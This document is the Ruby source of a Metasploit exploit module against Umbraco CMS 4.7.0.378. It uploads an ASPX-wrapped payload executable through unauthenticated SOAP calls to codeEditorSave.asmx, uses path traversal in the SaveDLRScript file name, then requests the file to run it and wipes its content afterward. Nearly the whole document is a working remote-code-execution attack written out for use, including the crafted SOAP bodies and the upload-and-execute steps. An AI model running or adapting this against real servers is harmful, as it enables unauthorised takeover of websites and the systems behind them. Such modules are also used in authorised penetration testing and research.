Umbraco CMS Remote Command Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize
        super(
            'Name'            => 'Umbraco CMS Remote Command Execution',
            'Description'   => %q{
                    This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
                The payload is uploaded as an ASPX script by sending a specially crafted
                SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
                via the SaveDLRScript operation. SaveDLRScript is also subject to a path
                traversal vulnerability, allowing code to be placed into the web-accessible
                /umbraco/ directory.

                The module writes, executes and then overwrites an ASPX script; note that
                though the script content is removed, the file remains on the target. Automatic
                cleanup of the file is intended if a meterpreter payload is used.

                This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
                7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
                write permissions on the Windows Temp folder.
            },
            'Author'      => [
                'Toby Clarke', # Vulnerability discovery and Metasploit module
                'juan vazquez' # Improved version of the Metasploit module
            ],
            'Platform'    => 'win',
            'References'  =>
                [
                    [ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
                    [ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
                ],
            'Targets'     =>
                [
                    [ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => false,
            'DisclosureDate' => 'Jun 28 2012'
        )

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
            ], self.class)
    end

    #
    # Remove the asmx if we get a meterpreter.
    #
    def on_new_session(cli)
        if cli.type != 'meterpreter'
            print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
            return
        end

        cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

        begin
            aspx = @upload_random + '.aspx'

            print_status("#{@peer} - Searching: #{aspx}")
            files = cli.fs.file.search("\\", aspx)
            if not files or files.empty?
                print_error("Unable to find #{aspx}. Please manually remove it.")
                return
            end

            files.each { |f|
                print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
                cli.fs.file.rm(f['path'] + "\\" + f['name'])
            }
            print_status("#{@peer} - #{aspx} deleted")
        rescue ::Exception => e
            print_error("Unable to delete #{aspx}: #{e.message}")
        end
    end

    # Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
    def exploit

        @peer = "#{rhost}:#{rport}"

        # Generate the ASPX containing the EXE containing the payload
        exe = generate_payload_exe
        aspx = Msf::Util::EXE.to_exe_aspx(exe)

        # htmlentities like encoding
        aspx = aspx.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")

        uri_path = target_uri.path
        uri_path.path << "/" if uri_path[-1, 1] != "/"

        @upload_random = rand_text_alpha(rand(6) + 6)

        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <SaveDLRScript xmlns="http://tempuri.org/">
            <fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
            <oldName>string</oldName>
            <fileContents>#{aspx}</fileContents>
            <ignoreDebugging>1</ignoreDebugging>
        </SaveDLRScript>
    </soap:Body>
</soap:Envelope>
        eos

        #
        # UPLOAD
        #

        attack_url = uri_path + "webservices/codeEditorSave.asmx"
        print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
        print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")

        res = send_request_cgi({
            'uri'          => attack_url,
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'    => {
                    'SOAPAction'     => "\"http://tempuri.org/SaveDLRScript\"",
                },
            'data'         => soap,
        }, 20)

        if (! res)
            print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
        elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
            print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
        else
            print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
        end

        #
        # EXECUTE
        #

        upload_path = uri_path + "#{@upload_random}.aspx"
        print_status("#{@peer} - Executing #{upload_path}...")

        res = send_request_cgi({
            'uri'          =>  upload_path,
            'method'       => 'GET'
        }, 20)

        if (! res)
            print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
            return
        end

        if (res.code < 200 or res.code >= 300)
            print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
            return
        end

        #
        # 'DELETE' - note that the file will remain on the system, but the content will be wiped.
        #

        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <SaveDLRScript xmlns="http://tempuri.org/">
            <fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
            <oldName>string</oldName>
            <fileContents></fileContents>
            <ignoreDebugging>1</ignoreDebugging>
        </SaveDLRScript>
    </soap:Body>
</soap:Envelope>
        eos

        attack_url = uri_path + "webservices/codeEditorSave.asmx"
        print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
        print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")

        res = send_request_cgi({
            'uri'          => attack_url,
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'    => {
                    'SOAPAction'     => "\"http://tempuri.org/SaveDLRScript\"",
                },
            'data'         => soap,
        }, 20)

        if (! res)
            print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
            return
        elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
            print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
        else
            print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
        end
        handler
    end
end